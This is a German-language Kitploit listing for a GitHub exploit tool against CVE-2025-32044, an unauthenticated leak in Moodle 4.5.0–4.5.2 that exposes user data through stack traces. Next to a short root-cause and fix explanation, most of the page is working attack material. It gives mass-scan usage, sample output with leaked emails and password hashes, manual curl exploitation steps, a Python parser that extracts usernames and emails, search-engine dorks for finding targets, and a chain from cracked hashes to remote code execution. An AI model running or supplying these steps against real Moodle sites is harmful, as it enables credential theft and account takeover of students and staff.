Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2025-32044 — Moodle 4.5.0-4.5.2 Unauthentifizierte REST-API-Offenlegung von Benutzerdaten über Stack-Trace-Argument-Leck | CVSS 7.5 | Kitploit
Tools/GitHubGitHub/shinthink/cve-2025-32044
Passwort-CrackingSchwachstellenanalyseExploitationInformationsbeschaffungWebsicherheitPenetrationstestsLernen & Bildung
GitHubshinthink/cve-2025-32044

CVE-2025-32044

Moodle 4.5.0-4.5.2 Unauthentifizierte REST-API-Offenlegung von Benutzerdaten über Stack-Trace-Argument-Leck | CVSS 7.5

Repository anzeigen
5vor 1 MonatNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2025-32044 — Nicht authentifizierte Offenlegung von Moodle REST API-Benutzerdaten

Stack Trace Args Leak → Namen, E-Mails, Passwort-Hashes


Überblick

CVE-2025-32044 ist eine hochriskante (CVSS 7.5) nicht authentifizierte Informationsoffenlegungsschwachstelle in Moodle LMS 4.5.0 bis 4.5.2.

Die Schwachstelle liegt im REST-API-Exception-Handler von Moodle – exception_response::get_payload_data() in lib/classes/router/response/exception_response.php. Vor dem Fix wurden PHP-Stack-Traces mit Funktionsargumenten in API-Fehlerantworten aufgenommen. Diese Argumente enthalten sensible Benutzerdaten, die über den Aufrufstapel weitergegeben werden – einschließlich Benutzernamen, vollständige Namen, E-Mail-Adressen und Passwort-Hashes.

Es ist keine Authentifizierung, kein Token und keine Benutzerinteraktion erforderlich, um das Leck auszulösen. Der Angreifer muss lediglich eine fehlerhafte Anfrage an einen beliebigen REST-API-Endpunkt senden, die eine interne Exception auslöst.

Betroffene Versionen

Moodle-VersionStatus
4.5.0 – 4.5.2Verwundbar
4.5.3+Gepatcht
< 4.5.0Nicht betroffen
Alle Versionen mit zend.exception_ignore_args = OnNicht betroffen

Entdeckt von: Lucas Alonso (14. März 2025)
Moodle Tracker: MDL-84879
Advisory: MSA-25-0011


Schwachstellenmechanismus

Grundursache

root@kitploit:~
// lib/classes/router/response/exception_response.php (VOR dem Fix)
protected static function get_payload_data(...): array {
    $data = [
        'message' => $exception->getMessage(),
        'stacktrace' => $exception->getTrace(),  // ← enthält 'args'!
    ];
    return $data;
}

Wenn während der REST-API-Verarbeitung eine Exception auftritt, enthält der PHP-Stack-Trace die Funktionsargumente (args) für jeden Frame im Aufrufstapel. Diese Argumente enthalten unbeabsichtigt Benutzertabellendaten, die von Funktionen weiter oben in der Aufrufkette verarbeitet wurden.

Der Fix (Moodle 4.5.3)

root@kitploit:~
// lib/classes/router/response/exception_response.php (NACH dem Fix)
'stacktrace' => array_map(
    fn ($frame): array => array_filter(
        $frame, fn ($key) => $key !== 'args', ARRAY_FILTER_USE_KEY
    ),
    $exception->getTrace(),
),

Plus Defense-in-Depth in lib/setup.php:

root@kitploit:~
ini_set('zend.exception_ignore_args', '1');

Angriffsablauf

root@kitploit:~
1. Ziel: Moodle 4.5.0-4.5.2 ohne zend.exception_ignore_args
2. Fehlerhafte Anfrage an /webservice/rest/server.php senden
   (z. B. core_user_get_users_by_field mit fehlenden erforderlichen Parametern)
3. Interne Exception während der Benutzerdatenverarbeitung ausgelöst
4. API-Fehlerantwort enthält Stack Trace mit 'args'
5. Args nach Benutzernamen, E-Mails, Hashes durchsuchen

Welche Daten werden preisgegeben


Installation

root@kitploit:~
git clone https://github.com/shinthink/CVE-2025-32044.git
cd CVE-2025-32044
pip install -r requirements.txt

Verwendung

root@kitploit:~
# Einzelziel-Scan
python cve_2025_32044.py -t moodle.target.com

# Massen-Scan
python cve_2025_32044.py -f moodle-targets.txt -o leaks.txt

# Massen-Scan mit mehr Threads
python cve_2025_32044.py -f moodle-targets.txt --threads 50 -o leaks.txt

# Debug-Modus
python cve_2025_32044.py -t moodle.target.com --debug -v

Argumente

root@kitploit:~
  -t, --target      Einzelziel (Domain oder IP)
  -f, --file        Zielliste (eine pro Zeile)
  -o, --output      Preisgegebene Benutzerdaten in Datei speichern
  --threads         Gleichzeitige Arbeiter (Standard: 30)
  --timeout         Anfrage-Timeout in Sekunden (Standard: 10)
  --debug           Jede HTTP-Anfrage anzeigen
  -v, --verbose     Ausführliche Ausgabe

Proof of Concept

Einzelziel

root@kitploit:~
$ python cve_2025_32044.py -t moodle-target.com
root@kitploit:~
  Moodle Stack Trace Leak | CVE-2025-32044 | CVSS 7.5

  Host       : moodle-target.com
  Moodle     : JA v4.5.1
  WS Aktiviert: JA
  Token      : erhalten (admin)

  ═══ DATEN PREISGEGEBEN ═══
    admin                | [email protected]
    jsmith               | [email protected]
    mjones               | [email protected]
  E-Mails: 3
  Hashes: 3
    $2y$10$abc123def456ghi789jkl012mno345pqr678stu901vwx234yz...
  Zeit       : 3.2s

Massen-Scan

root@kitploit:~
  Moodle Stack Trace Leak | CVE-2025-32044 | CVSS 7.5
  Ziele: 500  |  Threads: 30  |  Modus: RUHIG

  [LEAK] moodle-vuln-01.ac.id          benutzer=15 emails=12 hashes=15
  [WS]   moodle-patched-02.edu         token=admin
  [!]    moodle-no-ws-03.org
  [150/500] 30% | Erk:87 WS:32 Tok:8 Leak:5

  ───────────────────────────────────────────────────────
  Fertig | 320s | Ziele:500 Moodle:87 WS:32 Token:8 Preisgegeben:5

Manuelle Ausnutzung

Schritt 1 — Moodle + Webdienste erkennen

root@kitploit:~
# Prüfen, ob Moodle
curl -sk 'https://target.com/login/index.php' | grep -i moodle

# Webdienste prüfen
curl -sk 'https://target.com/login/token.php?username=guest&password=guest&service=moodle_mobile_app'
# {"token":"abc..."} = WS aktiviert + möglicherweise Gastzugang
# {"error":"Web services must be enabled..."} = WS deaktiviert

Schritt 2 — Token abrufen (falls möglich)

root@kitploit:~
curl -sk 'https://target.com/login/token.php?username=BENUTZER&password=PASSWORT&service=moodle_mobile_app'

Schritt 3 — Exception auslösen & Leak erfassen

root@kitploit:~
curl -sk 'https://target.com/webservice/rest/server.php?wsfunction=core_user_get_users_by_field&moodlewsrestformat=json&field=id'
# Antwort enthält stacktrace mit args, wenn verwundbar

Schritt 4 — Preisgegebene Daten parsen

root@kitploit:~
import json, requests
r = requests.get('https://target.com/webservice/rest/server.php', params={
    'wsfunction': 'core_user_get_users_by_field',
    'moodlewsrestformat': 'json',
    'field': 'id'
})
data = r.json()
for frame in data.get('stacktrace', []):
    for arg in frame.get('args', []):
        if isinstance(arg, dict) and 'username' in arg:
            print(f"Benutzer: {arg['username']} | {arg.get('email')} | {arg.get('fullname')}")

Erkennung (Shodan / FOFA)

root@kitploit:~
FOFA:   body="moodle" && body="login/token.php"
Shodan: http.title:"Moodle" http.component:"Moodle"
Google: intitle:"Moodle" inurl:"login/token.php"

Auswirkungen

Erfolgreiche Ausnutzung liefert:

  • Benutzerauflistung – vollständige Liste der Moodle-Benutzer
  • E-Mail-Adressen – Phishing, Credential-Stuffing
  • Passwort-Hashes – Offline-Knacken → Kontoübernahme
  • Letzte Login-IPs – Benutzerstandortverfolgung
  • Kette: Hash knacken → anmelden → zum Administrator eskalieren → Vorlage bearbeiten → RCE

Haftungsausschluss

NUR ZU BILDUNGSZWECKEN UND AUTORISIERTEN TESTS.

Diese Software ist für Sicherheitsexperten bestimmt, die autorisierte Penetrationstests durchführen, für Organisationen, die ihre eigene Infrastruktur auditieren, und für Forscher, die die Ausnutzung von Schwachstellen untersuchen.

Die Autoren übernehmen keine Haftung für Missbrauch.


Referenzen


Dieses Projekt ist nicht mit Moodle Pty Ltd. verbunden.

Tool herunterladen
FeldQuelle
Benutzernameuser-Tabelle
Vollständiger Namefirstname + lastname
E-MailSpalte email
Passwort-Hashbcrypt $2y$ / $2b$ Hashes
Letzte Login-IPSpalte lastip
Benutzer-IDSpalte id
RessourceLink
Moodle Advisory MSA-25-0011moodle.org
Moodle Tracker MDL-84879tracker.moodle.org
Git Commit (Fix)github.com/moodle/moodle/commit/41917db65e6b
NVD-EintragCVE-2025-32044
EntdeckerLucas Alonso